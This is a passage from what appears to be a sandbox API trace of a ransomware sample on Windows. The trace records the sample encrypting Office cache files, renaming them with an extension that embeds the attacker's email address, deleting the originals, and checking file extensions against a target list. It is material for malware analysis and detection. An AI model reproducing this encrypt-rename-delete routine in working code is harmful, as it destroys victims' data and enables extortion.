SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.082] GetLastError () returned 0x0 [0043.082] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x5ac, lpOverlapped=0x0) returned 1 [0043.084] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0043.085] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0043.085] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xf0, lpOverlapped=0x0) returned 1 [0043.085] SetEndOfFile (hFile=0x19c) returned 1 [0043.085] CloseHandle (hObject=0x19c) returned 1 [0043.086] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.086] SetEndOfFile (hFile=0x198) returned 1 [0043.087] CloseHandle (hObject=0x198) returned 1 [0043.087] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.087] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0043.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.087] lstrlenW (lpString=".doc") returned 4 [0043.087] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.087] lstrlenW (lpString=".docx") returned 5 [0043.087] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.087] lstrlenW (lpString=".pdf") returned 4 [0043.087] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.087] lstrlenW (lpString=".xls") returned 4 [0043.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString=".xlsx") returned 5 [0043.088] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.088] lstrlenW (lpString=".ppt") returned 4 [0043.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.088] lstrlenW (lpString=".zip") returned 4 [0043.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.088] lstrlenW (lpString=".rar") returned 4 [0043.088] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString=".bz2") returned 4 [0043.088] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString=".7z") returned 3 [0043.088] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.088] lstrlenW (lpString=".dbf") returned 4 [0043.088] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.088] lstrlenW (lpString=".1cd") returned 4 [0043.088] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.088] lstrlenW (lpString=".jpg") returned 4 [0043.088] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.088] lstrlenW (lpString=".doc") returned 4 [0043.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString=".docx") returned 5 [0043.088] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.088] lstrlenW (lpString=".pdf") returned 4 [0043.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.088] lstrlenW (lpString=".xls") returned 4 [0043.089] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.089] lstrlenW (lpString=".xlsx") returned 5 [0043.089] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.089] lstrlenW (lpString=".ppt") returned 4 [0043.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.089] lstrlenW (lpString=".zip") returned 4 [0043.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.089] lstrlenW (lpString=".rar") returned 4 [0043.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.089] lstrlenW (lpString=".bz2") returned 4 [0043.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.089] lstrlenW (lpString=".7z") returned 3 [0043.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.089] lstrlenW (lpString=".dbf") returned 4 [0043.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.089] lstrlenW (lpString=".1cd") returned 4 [0043.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0043.089] lstrlenW (lpString=".jpg") returned 4 [0043.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.089] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.089] lstrlenW (lpString="Setup.xml") returned 9 [0043.089] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.090] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1872) returned 1 [0043.090] CloseHandle (hObject=0x198) returned 1 [0043.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0043.090] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.090] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.090] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.090] GetLastError () returned 0x0 [0043.091] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x750, lpOverlapped=0x0) returned 1 [0043.577] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x760, lpOverlapped=0x0) returned 1 [0043.579] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0043.579] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.579] SetEndOfFile (hFile=0x19c) returned 1 [0043.579] CloseHandle (hObject=0x19c) returned 1 [0043.594] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.594] SetEndOfFile (hFile=0x198) returned 1 [0043.595] CloseHandle (hObject=0x198) returned 1 [0043.595] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.595] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0043.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.596] lstrlenW (lpString=".doc") returned 4 [0043.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.596] lstrlenW (lpString=".docx") returned 5 [0043.596] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.596] lstrlenW (lpString=".pdf") returned 4 [0043.596] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.596] lstrlenW (lpString=".xls") returned 4 [0043.596] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.596] lstrlenW (lpString=".xlsx") returned 5 [0043.596] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.596] lstrlenW (lpString=".ppt") returned 4 [0043.596] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.596] lstrlenW (lpString=".zip") returned 4 [0043.596] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.596] lstrlenW (lpString=".rar") returned 4 [0043.596] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.596] lstrlenW (lpString=".bz2") returned 4 [0043.596] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.596] lstrlenW (lpString=".7z") returned 3 [0043.596] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.596] lstrlenW (lpString=".dbf") returned 4 [0043.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.597] lstrlenW (lpString=".1cd") returned 4 [0043.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.597] lstrlenW (lpString=".jpg") returned 4 [0043.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.597] lstrlenW (lpString=".doc") returned 4 [0043.597] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString=".docx") returned 5 [0043.597] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.597] lstrlenW (lpString=".pdf") returned 4 [0043.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString=".xls") returned 4 [0043.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString=".xlsx") returned 5 [0043.597] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.597] lstrlenW (lpString=".ppt") returned 4 [0043.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.597] lstrlenW (lpString=".zip") returned 4 [0043.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.597] lstrlenW (lpString=".rar") returned 4 [0043.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString=".bz2") returned 4 [0043.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.597] lstrlenW (lpString=".7z") returned 3 [0043.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.598] lstrlenW (lpString=".dbf") returned 4 [0043.598] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.598] lstrlenW (lpString=".1cd") returned 4 [0043.598] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.598] lstrlenW (lpString=".jpg") returned 4 [0043.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.598] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.598] lstrlenW (lpString="branding.xml") returned 12 [0043.598] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.950] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=596341) returned 1 [0043.950] CloseHandle (hObject=0x19c) returned 1 [0043.950] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0043.951] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.951] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.951] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.951] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.951] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0043.951] GetLastError () returned 0x0 [0043.951] ReadFile (in: hFile=0x19c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x91975, lpOverlapped=0x0) returned 1 [0043.969] WriteFile (in: hFile=0x16c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x91980, lpOverlapped=0x0) returned 1 [0043.982] ReadFile (in: hFile=0x19c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0043.983] WriteFile (in: hFile=0x16c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.983] SetEndOfFile (hFile=0x16c) returned 1 [0043.983] CloseHandle (hObject=0x16c) returned 1 [0044.319] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0044.320] SetEndOfFile (hFile=0x19c) returned 1 [0044.326] CloseHandle (hObject=0x19c) returned 1 [0044.326] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.326] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0044.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.327] lstrlenW (lpString=".doc") returned 4 [0044.327] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.327] lstrlenW (lpString=".docx") returned 5 [0044.327] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0044.327] lstrlenW (lpString=".pdf") returned 4 [0044.327] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.327] lstrlenW (lpString=".xls") returned 4 [0044.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.327] lstrlenW (lpString=".xlsx") returned 5 [0044.327] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0044.327] lstrlenW (lpString=".ppt") returned 4 [0044.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.327] lstrlenW (lpString=".zip") returned 4 [0044.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.327] lstrlenW (lpString=".rar") returned 4 [0044.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.327] lstrlenW (lpString=".bz2") returned 4 [0044.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.327] lstrlenW (lpString=".7z") returned 3 [0044.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.327] lstrlenW (lpString=".dbf") returned 4 [0044.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.328] lstrlenW (lpString=".1cd") returned 4 [0044.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.328] lstrlenW (lpString=".jpg") returned 4 [0044.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.328] lstrlenW (lpString=".doc") returned 4 [0044.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.328] lstrlenW (lpString=".docx") returned 5 [0044.328] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0044.328] lstrlenW (lpString=".pdf") returned 4 [0044.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.328] lstrlenW (lpString=".xls") returned 4 [0044.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.328] lstrlenW (lpString=".xlsx") returned 5 [0044.328] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0044.328] lstrlenW (lpString=".ppt") returned 4 [0044.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.328] lstrlenW (lpString=".zip") returned 4 [0044.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.328] lstrlenW (lpString=".rar") returned 4 [0044.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.328] lstrlenW (lpString=".bz2") returned 4 [0044.329] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.329] lstrlenW (lpString=".7z") returned 3 [0044.329] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.329] lstrlenW (lpString=".dbf") returned 4 [0044.329] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.329] lstrlenW (lpString=".1cd") returned 4 [0044.329] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0044.329] lstrlenW (lpString=".jpg") returned 4 [0044.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.329] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.329] lstrlenW (lpString="Setup.xml") returned 9 [0044.329] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.330] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=2624) returned 1 [0044.330] CloseHandle (hObject=0x19c) returned 1 [0044.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0044.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.330] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) 